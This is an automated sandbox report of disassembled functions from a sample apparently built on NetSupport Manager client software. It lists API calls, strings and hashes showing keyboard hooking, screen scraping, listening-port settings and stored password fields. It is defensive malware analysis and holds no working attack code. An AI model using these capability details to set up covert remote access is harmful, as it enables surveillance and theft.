Associated: 00000001.00000002.4170174719.0000000011287000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001129D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112AC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112B3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112DE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001132A000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_11000000_bild.jbxd

Yara matches

Similarity

API ID: ErrorLast$AddressProc$Library_free$Free$ClassDevsLoadSetup_malloc
String ID: SetupDiDestroyDeviceInfoList$SetupDiEnumDeviceInterfaces$SetupDiGetClassDevsA$SetupDiGetDeviceInterfaceDetailA$setupapi.dll
API String ID: 3464732724-3340099623
Opcode ID: f516254d0abd54e50715bca7ef5168f810df5caaca2cd717629c9093cd8c9f4a
Instruction ID: 033bff87456eb4c9bd2d5bbaba34d7345019b106b940800e90953e4c12ebf53e
Opcode Fuzzy Hash: f516254d0abd54e50715bca7ef5168f810df5caaca2cd717629c9093cd8c9f4a
Instruction Fuzzy Hash: F2816279E14259ABEB04DFF4EC84F9FFBB8AF48704F104528F921A6284EB759905CB50

Function 11133920 Relevance: 51.0, APIs: 16, Strings: 13, Instructions: 278
libraryloadertimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 1105DD10: __wcstoi64.LIBCMT ref: 1105DD4D

GetLocalTime.KERNEL32(?,_debug,CheckLeaks,00000001,00000000,73B292A0), ref: 1113398E
LoadLibraryA.KERNEL32(psapi.dll), ref: 111339E6
GetCurrentProcess.KERNEL32 ref: 11133A27
GetProcAddress.KERNEL32(?,GetProcessHandleCount), ref: 11133A51
GetProcessHandleCount.KERNEL32(00000000,?), ref: 11133A62
SetLastError.KERNEL32(00000078), ref: 11133A68
GetProcAddress.KERNEL32(?,GetGuiResources), ref: 11133A84
GetProcAddress.KERNEL32(?,GetGuiResources), ref: 11133AAC
SetLastError.KERNEL32(00000078), ref: 11133AC9
SetLastError.KERNEL32(00000078), ref: 11133AD6
GetProcAddress.KERNEL32(?,GetProcessMemoryInfo), ref: 11133AE8
K32GetProcessMemoryInfo.KERNEL32(?,?,00000028), ref: 11133AFB
SetLastError.KERNEL32(00000078), ref: 11133B01
FreeLibrary.KERNEL32(?), ref: 11133C6B
FreeLibrary.KERNEL32(?), ref: 11133C78
FreeLibrary.KERNEL32(?), ref: 11133C82

Strings

RestartUserObj, xrefs: 11133C35
RestartHandles, xrefs: 11133BE7
psapi.dll, xrefs: 111339C3
GetGuiResources, xrefs: 11133A7E, 11133AA6
Client, xrefs: 11133BC1, 11133BEC, 11133C13, 11133C3A
_debug, xrefs: 11133972
GetProcessMemoryInfo, xrefs: 11133AE2
Date=%04d-%02d-%02d, xrefs: 111339AB
CheckLeaks, xrefs: 1113396D
RestartMB, xrefs: 11133BBC
RestartGdiObj, xrefs: 11133C0E
GetProcessHandleCount, xrefs: 11133A4B
Used handles=%d, gdiObj=%d, userObj=%d, mem=%u kB, xrefs: 11133B73

Memory Dump Source

Source File: 00000001.00000002.4169819931.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000001.00000002.4169802848.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170063906.0000000011193000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170134156.00000000111E1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170156980.00000000111F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000111F6000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001125C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.0000000011287000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001129D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112AC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112B3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112DE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001132A000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_11000000_bild.jbxd

Yara matches

Similarity

API ID: AddressErrorLastLibraryProc$FreeProcess$CountCurrentHandleInfoLoadLocalMemoryTime__wcstoi64
String ID: CheckLeaks$Client$Date=%04d-%02d-%02d$GetGuiResources$GetProcessHandleCount$GetProcessMemoryInfo$RestartGdiObj$RestartHandles$RestartMB$RestartUserObj$Used handles=%d, gdiObj=%d, userObj=%d, mem=%u kB$_debug$psapi.dll
API String ID: 263027137-1001504656
Opcode ID: 87783a789c6862cb7a583f6d0127a67f1abf74d6ca2b18a0a01f6916aa137176
Instruction ID: 17d7fdf42b282dadbb05295794651177f64ab9c07d211a437ec733fd2e53fcc2
Opcode Fuzzy Hash: 87783a789c6862cb7a583f6d0127a67f1abf74d6ca2b18a0a01f6916aa137176
Instruction Fuzzy Hash: A3B1BFB1E242699FDB10DFE9CDC0AADFBB6EB48319F10452AE414E7348DB349844CB65

Function 1102DBC9 Relevance: 49.3, APIs: 7, Strings: 21, Instructions: 319
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNEL32(Wtsapi32.dll,Client,screenscrape,00000001,00000003,TCPIP,ListenPort,00000000,00000003,00000003,?,?,?,?,?,?), ref: 1102DF31

Strings

, xrefs: 1102E0B5
Error x%x reading %s, sesh=%d, xrefs: 1102DDB1
14/03/16 10:38:31 V12.10F8, xrefs: 1102E3BE
screenscrape, xrefs: 1102DF18
WTSFreeMemory, xrefs: 1102E061
client32 dbi %hs, xrefs: 1102E3C3
MacAddress, xrefs: 1102E02F
Client, xrefs: 1102DEE5, 1102DF1D, 1102E034
computername=%s, clientname=%s, tsmode=%d, vui=%d, vsvc=%d, xrefs: 1102E3EA
ClientName, xrefs: 1102E0E5
client32.ini, xrefs: 1102DD55
ListenPort, xrefs: 1102DF00
TCPIP, xrefs: 1102DF05
Wtsapi32.dll, xrefs: 1102DF2C
DisableConsoleClient, xrefs: 1102DE67
TSMode, xrefs: 1102DEE0
ts macaddr=%s, xrefs: 1102E01C
Trying to get mac addr for %u.%u.%u.%u, xrefs: 1102DFF4
632922, xrefs: 1102E145, 1102E36C, 1102E3E1
multipoint=%d, softxpand=%d, pid=%d, xrefs: 1102E410
WTSQuerySessionInformationA, xrefs: 1102DF9E

Memory Dump Source

Source File: 00000001.00000002.4169819931.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000001.00000002.4169802848.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170063906.0000000011193000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170134156.00000000111E1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170156980.00000000111F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000111F6000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001125C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.0000000011287000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001129D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112AC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112B3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112DE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001132A000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_11000000_bild.jbxd

Yara matches

Similarity

API ID: LibraryLoad
String ID: $14/03/16 10:38:31 V12.10F8$632922$Client$ClientName$DisableConsoleClient$Error x%x reading %s, sesh=%d$ListenPort$MacAddress$TCPIP$TSMode$Trying to get mac addr for %u.%u.%u.%u$WTSFreeMemory$WTSQuerySessionInformationA$Wtsapi32.dll$client32 dbi %hs$client32.ini$computername=%s, clientname=%s, tsmode=%d, vui=%d, vsvc=%d$multipoint=%d, softxpand=%d, pid=%d$screenscrape$ts macaddr=%s
API String ID: 1029625771-3603987027
Opcode ID: efde7a6f29c4b35a1bc2373ff856d498f8aef1b4f42035034b7e6d706e59a609
Instruction ID: 8eab5b2d156e186679f92ce27f1e5cdd209b728942572a9b5b46018c3091c824
Opcode Fuzzy Hash: efde7a6f29c4b35a1bc2373ff856d498f8aef1b4f42035034b7e6d706e59a609
Instruction Fuzzy Hash: 97C1D275E0026AAFDF22DF959C84BEDF7B9AB44308F9440EDE55867280D770AE80CB51

Function 111414A0 Relevance: 47.5, APIs: 13, Strings: 14, Instructions: 266
libraryregistryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNEL32(User32.dll,00000000,00000000), ref: 111414F3
FreeLibrary.KERNEL32(00000000), ref: 11141563
LoadLibraryA.KERNEL32(imm32,?,?,00000000,00000000), ref: 11141586
GetClassInfoExA.USER32(11000000,NSMWClass,?), ref: 111415E5
_memset.LIBCMT ref: 111415F9
LoadCursorA.USER32(00000000,00007F00), ref: 11141649
GetStockObject.GDI32(00000000), ref: 11141653
RegisterClassExA.USER32(?), ref: 1114166A
LoadLibraryA.KERNEL32(pcihooks,?,?,00000000,00000000), ref: 11141702
GetProcAddress.KERNEL32(00000000,HookKeyboard), ref: 11141717
SetTimer.USER32(00000000,00000000,000003E8,1113CD60), ref: 1114183A
#17.COMCTL32(?,?,?,00000000,00000000), ref: 11141868
LoadLibraryA.KERNEL32(riched32.dll,?,?,?,00000000,00000000), ref: 11141873

Part of subcall function 11017450: CreateEventA.KERNEL32(00000000,00000001,00000000,00000000,73B292A0,1102FCB2,00000000), ref: 1101747E
Part of subcall function 11017450: LoadLibraryA.KERNEL32(Kernel32.dll), ref: 1101748E
Part of subcall function 11017450: GetProcAddress.KERNEL32(00000000,QueueUserWorkItem), ref: 110174D2
Part of subcall function 11017450: FreeLibrary.KERNEL32(00000000), ref: 110174F8

Part of subcall function 110CC7F0: CreateWindowExA.USER32(00000000,button,11194244,00000000,00000000,00000000,00000020,00000020,00000000,00000000,00000000,00000000), ref: 110CC829
Part of subcall function 110CC7F0: SetClassLongA.USER32(00000000,000000E8,110CC570), ref: 110CC840

Strings

riched32.dll, xrefs: 1114186E
TraceCopyData, xrefs: 1114176C
*quiet, xrefs: 111415AD
InitUI (%d), xrefs: 111414CC
NSMGetAppIcon(), xrefs: 11141626
User32.dll, xrefs: 111414E7
imm32, xrefs: 1114157C
pcihooks, xrefs: 111416FD
_debug, xrefs: 11141771
NSMWClass, xrefs: 111415D7, 11141663
UI.CPP, xrefs: 11141621, 1114167C
HookKeyboard, xrefs: 11141711
View, xrefs: 11141751
_License, xrefs: 111415B2

Memory Dump Source

Source File: 00000001.00000002.4169819931.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000001.00000002.4169802848.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170063906.0000000011193000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170134156.00000000111E1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170156980.00000000111F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000111F6000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001125C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.0000000011287000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001129D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112AC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112B3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112DE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001132A000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_11000000_bild.jbxd

Yara matches

Similarity

API ID: Library$Load$Class$AddressCreateFreeProc$CursorEventInfoLongObjectRegisterStockTimerWindow_memset
String ID: *quiet$HookKeyboard$InitUI (%d)$NSMGetAppIcon()$NSMWClass$TraceCopyData$UI.CPP$User32.dll$View$_License$_debug$imm32$pcihooks$riched32.dll
API String ID: 3706574701-3145203681
Opcode ID: bf77d67e3ec3500b8f2db5927d4705f1cc154319e5a682cee20025d48f6291c1
Instruction ID: 9b294397b9efa9119a6c3372e39ca87a41eafe2d9b680e3b49ce131b24699399
Opcode Fuzzy Hash: bf77d67e3ec3500b8f2db5927d4705f1cc154319e5a682cee20025d48f6291c1
Instruction Fuzzy Hash: 6EA19DB4E0126AAFDB01DFE9C9C4AADFBB4FB4870DB60413EE52997644EB306440CB55

Function 110285F0 Relevance: 42.5, APIs: 2, Strings: 22, Instructions: 542
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleFileNameA.KERNEL32(00000000,?,00000104,6FA21370,?,0000001A), ref: 110286DD
_strrchr.LIBCMT ref: 110286EC

Part of subcall function 111646CE: __stricmp_l.LIBCMT ref: 1116470B

Strings

NSSName, xrefs: 11028935
LongName, xrefs: 11028875
NSSConfName, xrefs: 11028A55
??I, xrefs: 11028CF7
Name, xrefs: 1102883E
product.dat, xrefs: 110286A0, 110286F1
SupportsChrome, xrefs: 11028AE6
TLA, xrefs: 11028905
Home, xrefs: 110288D5
\, xrefs: 1102866C
ShortName, xrefs: 110288A5
TechConsole, xrefs: 11028B1D
SupportEMail, xrefs: 110289C5
NSMAppDataDir, xrefs: 110289F5
NSSLongCaption, xrefs: 11028B55
NSSTLA, xrefs: 11028965
??F, xrefs: 11028C70
NSSAppDataDir, xrefs: 11028A25
SupportsAndroid, xrefs: 11028B82
AssistantName, xrefs: 11028A8C
AssistantURL, xrefs: 11028AB9
SupportWWW, xrefs: 11028995

Memory Dump Source

Source File: 00000001.00000002.4169819931.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000001.00000002.4169802848.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170063906.0000000011193000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170134156.00000000111E1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170156980.00000000111F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000111F6000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001125C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.0000000011287000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001129D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112AC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112B3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112DE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001132A000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_11000000_bild.jbxd

Yara matches

Similarity

API ID: FileModuleName__stricmp_l_strrchr
String ID: ??F$??I$AssistantName$AssistantURL$Home$LongName$NSMAppDataDir$NSSAppDataDir$NSSConfName$NSSLongCaption$NSSName$NSSTLA$Name$ShortName$SupportEMail$SupportWWW$SupportsAndroid$SupportsChrome$TLA$TechConsole$\$product.dat
API String ID: 1609618855-357498123
Opcode ID: f758b9b815b32a629a166d271db5dcc578b7f2649effa84e62f149b16d96c17d
Instruction ID: efd952e0d0f75bab71a6f775fe147756553f35749af42d5d105ea8c6321280ff
Opcode Fuzzy Hash: f758b9b815b32a629a166d271db5dcc578b7f2649effa84e62f149b16d96c17d
Instruction Fuzzy Hash: ED12D67CD0929A8BDB17CF64CC807E5B7F5AB19308F8400EEE9D557201EB729686CB52

Function 11086700 Relevance: 38.7, APIs: 12, Strings: 10, Instructions: 161
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNEL32(?,00000001,0000DD7C), ref: 1108678C
GetModuleFileNameA.KERNEL32(00000000,?,00000104), ref: 110867AA
LoadLibraryA.KERNEL32(?), ref: 110867EC
GetProcAddress.KERNEL32(?,CipherServer_Create), ref: 11086807
GetProcAddress.KERNEL32(?,CipherServer_Destroy), ref: 1108681C
GetProcAddress.KERNEL32(00000000,CipherServer_GetInfoBlock), ref: 1108682D
GetProcAddress.KERNEL32(?,CipherServer_OpenSession), ref: 1108683E
GetProcAddress.KERNEL32(?,CipherServer_CloseSession), ref: 1108684F
GetProcAddress.KERNEL32(00000000,CipherServer_EncryptBlocks), ref: 11086860

Strings

CipherServer_DecryptBlocks, xrefs: 1108686B
CipherServer_GetRandomData, xrefs: 1108687C
CipherServer_EncryptBlocks, xrefs: 1108685A
CipherServer_ResetSession, xrefs: 1108688D
CipherServer_Create, xrefs: 11086801
CipherServer_GetInfoBlock, xrefs: 11086827
CryptPak.dll, xrefs: 1108675B, 110867BE
CipherServer_CloseSession, xrefs: 11086849
CipherServer_OpenSession, xrefs: 11086838
CipherServer_Destroy, xrefs: 11086816

Memory Dump Source

Source File: 00000001.00000002.4169819931.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000001.00000002.4169802848.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170063906.0000000011193000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170134156.00000000111E1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170156980.00000000111F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000111F6000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001125C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.0000000011287000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001129D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112AC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112B3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112DE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001132A000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_11000000_bild.jbxd

Yara matches

Similarity

API ID: AddressProc$LibraryLoad$FileModuleName
String ID: CipherServer_CloseSession$CipherServer_Create$CipherServer_DecryptBlocks$CipherServer_Destroy$CipherServer_EncryptBlocks$CipherServer_GetInfoBlock$CipherServer_GetRandomData$CipherServer_OpenSession$CipherServer_ResetSession$CryptPak.dll
API String ID: 2201880244-3035937465
Opcode ID: 4b4bd3f155fc2ea4308a314feeb32441d96d80ab178d9e56264d575cdcc26986
Instruction ID: c81deb3771c39ade44f8803fbe1e6421c41fb3d40bd553f41274565aeadcb2b4
Opcode Fuzzy Hash: 4b4bd3f155fc2ea4308a314feeb32441d96d80ab178d9e56264d575cdcc26986
Instruction Fuzzy Hash: CD51C174E1834A9BD710DF79DC94BA6FBE9AF54304B1289AED885C7240EAB2E444CF50

Function 11141890 Relevance: 35.7, APIs: 3, Strings: 17, Instructions: 672
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegCloseKey.ADVAPI32(00000000), ref: 1114194A

Strings

Info. Policy changed - reload transports..., xrefs: 11142036
Chg [%s]%s=%s, xrefs: 11141EF5
e:\nsmsrc\nsm\1210\1210f\ctl32\NSMString.h, xrefs: 111420C8
NSA.LIC, xrefs: 1114195F, 11141966, 1114198D
TracePolicyChange, xrefs: 11141DE1
RoomSpec, xrefs: 11141DC7, 1114207A
Warning. Can't calc AD policy changes, xrefs: 11141D85
Del [%s]%s=%s, xrefs: 11141E95
IsA(), xrefs: 111420CD
Client, xrefs: 11141DCC, 1114207F
_debug, xrefs: 11141DE6
client, xrefs: 11141D63
client., xrefs: 11141D46
Info. Policy changed - re-initui, xrefs: 11142012
Add [%s]%s=%s, xrefs: 11141E36
NSM.LIC, xrefs: 11141950
Info. Lockup averted for AD policy changes, xrefs: 11141B1D, 11141B44

Memory Dump Source

Source File: 00000001.00000002.4169819931.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000001.00000002.4169802848.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170063906.0000000011193000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170134156.00000000111E1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170156980.00000000111F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000111F6000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001125C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.0000000011287000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001129D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112AC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112B3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112DE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001132A000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_11000000_bild.jbxd

Yara matches

Similarity

API ID: Close
String ID: Add [%s]%s=%s$Chg [%s]%s=%s$Client$Del [%s]%s=%s$Info. Lockup averted for AD policy changes$Info. Policy changed - re-initui$Info. Policy changed - reload transports...$IsA()$NSA.LIC$NSM.LIC$RoomSpec$TracePolicyChange$Warning. Can't calc AD policy changes$_debug$client$client.$e:\nsmsrc\nsm\1210\1210f\ctl32\NSMString.h
API String ID: 3535843008-2062829784
Opcode ID: d57b2f7d390a2548c1a404b3922d606782abb187a8979f341b8c48ed45959037
Instruction ID: 6553b1da6d6d14651d2a1fffef45e08f8fb4271012d2e4188a9b1e9169dedbc2
Opcode Fuzzy Hash: d57b2f7d390a2548c1a404b3922d606782abb187a8979f341b8c48ed45959037
Instruction Fuzzy Hash: E4420778E002999FEB21CBA0CD90FEEF7766F95B08F1401D8D50967681EB727A84CB51

Function 11074A00 Relevance: 33.5, APIs: 13, Strings: 6, Instructions: 294
threadtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 1110F420: _malloc.LIBCMT ref: 1110F439
Part of subcall function 1110F420: wsprintfA.USER32 ref: 1110F454
Part of subcall function 1110F420: _memset.LIBCMT ref: 1110F477

InitializeCriticalSection.KERNEL32(0000000C,?,00000000), ref: 11074AE5
InitializeCriticalSection.KERNEL32(00000024,?,00000000), ref: 11074AEB
InitializeCriticalSection.KERNEL32(0000003C,?,00000000), ref: 11074AF1
InitializeCriticalSection.KERNEL32(0000DB1C,?,00000000), ref: 11074AFA
InitializeCriticalSection.KERNEL32(00000054,?,00000000), ref: 11074B00
InitializeCriticalSection.KERNEL32(0000006C,?,00000000), ref: 11074B06
_strncpy.LIBCMT ref: 11074B68
ExpandEnvironmentStringsA.KERNEL32(?,?,00000100,?,?,?,?,?,?,00000000), ref: 11074BCF
CreateThread.KERNEL32(00000000,00004000,11070C60,00000000,00000000,?), ref: 11074C6C
CloseHandle.KERNEL32(00000000,?,?,?,?,?,?,00000000), ref: 11074C73
SetTimer.USER32(00000000,00000000,000000FA,11063680), ref: 11074CB7
std::exception::exception.LIBCMT ref: 11074D68
__CxxThrowException@8.LIBCMT ref: 11074D83

Strings

RememberPassword, xrefs: 11074B80
General, xrefs: 11074B85, 11074BB5, 11074C28
Password, xrefs: 11074C23
DefaultUsername, xrefs: 11074BB0
..\ctl32\Connect.cpp, xrefs: 11074B16
destroy_queue == NULL, xrefs: 11074B1B

Memory Dump Source

Source File: 00000001.00000002.4169819931.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000001.00000002.4169802848.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170063906.0000000011193000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170134156.00000000111E1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170156980.00000000111F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000111F6000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001125C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.0000000011287000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001129D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112AC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112B3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112DE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001132A000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_11000000_bild.jbxd

Yara matches

Similarity

API ID: CriticalInitializeSection$CloseCreateEnvironmentException@8ExpandHandleStringsThreadThrowTimer_malloc_memset_strncpystd::exception::exceptionwsprintf
String ID: ..\ctl32\Connect.cpp$DefaultUsername$General$Password$RememberPassword$destroy_queue == NULL
API String ID: 703120326-1497550179
Opcode ID: 7c8943816f378bc6fd854347406ceee894156ad89ebdfca9a8c75f1e5f5be459
Instruction ID: 2d3153b5a6430d98d64e81d2a1e668bfe4de0d121a1dff3557e595bbadcf65c6
Opcode Fuzzy Hash: 7c8943816f378bc6fd854347406ceee894156ad89ebdfca9a8c75f1e5f5be459
Instruction Fuzzy Hash: 79B1A4B5A00359AFD710CF64CD84FDAF7F4BB48708F0085A9E65997281EBB0B944CB65

Function 11108D30 Relevance: 33.5, APIs: 14, Strings: 5, Instructions: 213
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 1110F420: _malloc.LIBCMT ref: 1110F439
Part of subcall function 1110F420: wsprintfA.USER32 ref: 1110F454
Part of subcall function 1110F420: _memset.LIBCMT ref: 1110F477

OpenEventA.KERNEL32(00000002,00000000,nsm_gina_sas,00000009), ref: 11108E0A
CloseHandle.KERNEL32(00000000), ref: 11108E19
GetSystemDirectoryA.KERNEL32(?,000000F7), ref: 11108E2B
LoadLibraryA.KERNEL32(?), ref: 11108E61
GetProcAddress.KERNEL32(?,GrabKM), ref: 11108E8E
GetProcAddress.KERNEL32(?,LoggedOn), ref: 11108EA6
FreeLibrary.KERNEL32(?), ref: 11108ECB

Part of subcall function 1110F2B0: CreateEventA.KERNEL32(00000000,00000000,00000000,00000000,00000000,76EEC3F0,00000000,?,11110245,1110FDE0,00000001,00000000), ref: 1110F2C7
Part of subcall function 1110F2B0: CreateThread.KERNEL32(00000000,11110245,00000001,00000000,00000000,0000000C), ref: 1110F2EA
Part of subcall function 1110F2B0: WaitForSingleObject.KERNEL32(?,000000FF,?,11110245,1110FDE0,00000001,00000000,?,?,?,?,?,11031040), ref: 1110F317
Part of subcall function 1110F2B0: CloseHandle.KERNEL32(?,?,11110245,1110FDE0,00000001,00000000,?,?,?,?,?,11031040), ref: 1110F321

GetStockObject.GDI32(0000000D), ref: 11108EDF
GetObjectA.GDI32(00000000,0000003C,?), ref: 11108EEF
InitializeCriticalSection.KERNEL32(0000003C), ref: 11108F0B
InitializeCriticalSection.KERNEL32(111F060C), ref: 11108F16

Part of subcall function 11107290: LoadLibraryA.KERNEL32(Wtsapi32.dll,00000000,00000000,11189A56,000000FF), ref: 11107363
Part of subcall function 11107290: LoadLibraryA.KERNEL32(Advapi32.dll), ref: 111073B2

CloseHandle.KERNEL32(00000000,Function_00102C50,00000001,00000000), ref: 11108F59

